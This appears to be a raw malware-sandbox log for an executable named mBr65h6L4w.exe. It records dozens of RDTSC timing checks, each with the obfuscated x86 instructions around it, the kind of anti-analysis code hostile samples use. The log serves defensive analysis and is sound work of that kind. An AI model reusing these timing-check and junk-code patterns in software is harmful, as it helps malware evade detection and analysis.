Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123CB70 second address: 123CB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD63248h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123CB8D second address: 123CB92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123CB92 second address: 123CB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1240225 second address: 124022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124022B second address: 1240232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124326D second address: 1243271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1243271 second address: 1243277 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1243277 second address: 124328E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C1CD20402h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1243406 second address: 124345A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F8C1CD63245h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jc 00007F8C1CD63242h 0x00000018 jnc 00007F8C1CD6323Ch 0x0000001e mov eax, dword ptr [eax] 0x00000020 jmp 00007F8C1CD63245h 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124345A second address: 1243461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124351F second address: 1071BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 add dword ptr [esp], 2ACDA22Ch 0x0000000b jmp 00007F8C1CD63240h 0x00000010 push dword ptr [ebp+129C0309h] 0x00000016 pushad 0x00000017 mov cx, si 0x0000001a popad 0x0000001b call dword ptr [ebp+129C1852h] 0x00000021 pushad 0x00000022 jmp 00007F8C1CD6323Ah 0x00000027 xor eax, eax 0x00000029 mov dword ptr [ebp+129C1901h], eax 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 pushad 0x00000034 sub esi, 106691CAh 0x0000003a jo 00007F8C1CD6323Bh 0x00000040 or bx, C515h 0x00000045 popad 0x00000046 mov dword ptr [ebp+129C39B4h], eax 0x0000004c pushad 0x0000004d mov al, E6h 0x0000004f mov si, 3AD4h 0x00000053 popad 0x00000054 mov esi, 0000003Ch 0x00000059 jmp 00007F8C1CD6323Fh 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 pushad 0x00000063 mov edx, dword ptr [ebp+129C37C4h] 0x00000069 mov dword ptr [ebp+129C2973h], edx 0x0000006f popad 0x00000070 lodsw 0x00000072 stc 0x00000073 jmp 00007F8C1CD6323Fh 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c jmp 00007F8C1CD63242h 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jno 00007F8C1CD6323Ch 0x0000008b nop 0x0000008c jmp 00007F8C1CD63249h 0x00000091 push eax 0x00000092 pushad 0x00000093 jno 00007F8C1CD6323Ch 0x00000099 push edx 0x0000009a push eax 0x0000009b push edx 0x0000009c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124962D second address: 124963B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8C1CD203F6h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124963B second address: 1249641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1248288 second address: 12482A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD20400h 0x00000009 jnc 00007F8C1CD203F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12482A2 second address: 12482AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124885C second address: 1248882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F8C1CD2040Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1248A05 second address: 1248A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8C1CD63236h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1248A0F second address: 1248A19 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8C1CD203F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1248A19 second address: 1248A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1248A1F second address: 1248A3A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8C1CD20406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1248A3A second address: 1248A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 je 00007F8C1CD63236h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F8C1CD63236h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1249115 second address: 124913A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8C1CD20405h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1249498 second address: 12494AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jo 00007F8C1CD63236h 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12494AD second address: 12494B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12494B1 second address: 12494B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12494B7 second address: 12494BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124EC0F second address: 124EC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124EC15 second address: 124EC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124DAA1 second address: 124DAA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124DAA7 second address: 124DABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C1CD20401h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124D759 second address: 124D75D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124D75D second address: 124D763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124D763 second address: 124D77F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C1CD63247h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124D77F second address: 124D785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124D785 second address: 124D7A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8C1CD63245h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124D7A9 second address: 124D7B1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124D7B1 second address: 124D7CE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F8C1CD6323Dh 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jnc 00007F8C1CD63236h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121DD0F second address: 121DD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124E530 second address: 124E548 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124E548 second address: 124E54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124E54C second address: 124E571 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63249h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F8C1CD63236h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124E571 second address: 124E575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124E575 second address: 124E57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 124E6B9 second address: 124E6C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 125476A second address: 1254782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD63244h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253145 second address: 1253149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253267 second address: 125328D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C1CD63248h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 125328D second address: 1253292 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 125355A second address: 1253564 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8C1CD6323Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12536C6 second address: 12536CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253B59 second address: 1253B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253B5D second address: 1253B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253B61 second address: 1253B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253CC7 second address: 1253CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253CCB second address: 1253CE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C1CD63244h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253CE5 second address: 1253D04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20408h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253D04 second address: 1253D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8C1CD63236h 0x0000000a jmp 00007F8C1CD63241h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jl 00007F8C1CD63289h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8C1CD63243h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253D3D second address: 1253D55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20404h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253D55 second address: 1253D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8C1CD63246h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253EA2 second address: 1253ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD20409h 0x00000009 jmp 00007F8C1CD20404h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253ED8 second address: 1253EF3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C1CD63241h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1253EF3 second address: 1253EFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1200A9D second address: 1200AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8C1CD63245h 0x0000000c jmp 00007F8C1CD6323Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11D50E8 second address: 11D50EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11D50EC second address: 11D50F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12545D1 second address: 125460C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD20405h 0x00000009 popad 0x0000000a jmp 00007F8C1CD20409h 0x0000000f jg 00007F8C1CD203FEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1252E5D second address: 1252E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1252E67 second address: 1252E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1252E6F second address: 1252E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122270B second address: 122277B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F8C1CD203F8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 lea eax, dword ptr [ebp+12B744EAh] 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F8C1CD203F8h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 or dword ptr [ebp+129C2694h], ebx 0x0000004d mov dx, si 0x00000050 nop 0x00000051 push eax 0x00000052 push edx 0x00000053 push edi 0x00000054 jmp 00007F8C1CD203FEh 0x00000059 pop edi 0x0000005a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122277B second address: 1222782 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222CC4 second address: 1222CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222CC8 second address: 1222CDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F8C1CD6323Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222DA2 second address: 1222DEF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 7E158194h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F8C1CD203F8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 jmp 00007F8C1CD203FBh 0x0000002e call 00007F8C1CD203F9h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222DEF second address: 1222DF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222DF3 second address: 1222DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222DF9 second address: 1222DFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222DFE second address: 1222E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222E04 second address: 1222E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F8C1CD6323Ah 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 pushad 0x00000017 jmp 00007F8C1CD63248h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222E3A second address: 1222E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C1CD203FBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222FB6 second address: 1222FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222FBA second address: 1222FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222FC0 second address: 1222FE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63243h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c mov dx, ax 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222FE4 second address: 1222FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222FE8 second address: 1222FEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222FEC second address: 1222FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222FF2 second address: 1222FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F8C1CD63236h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1222FFC second address: 1223000 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
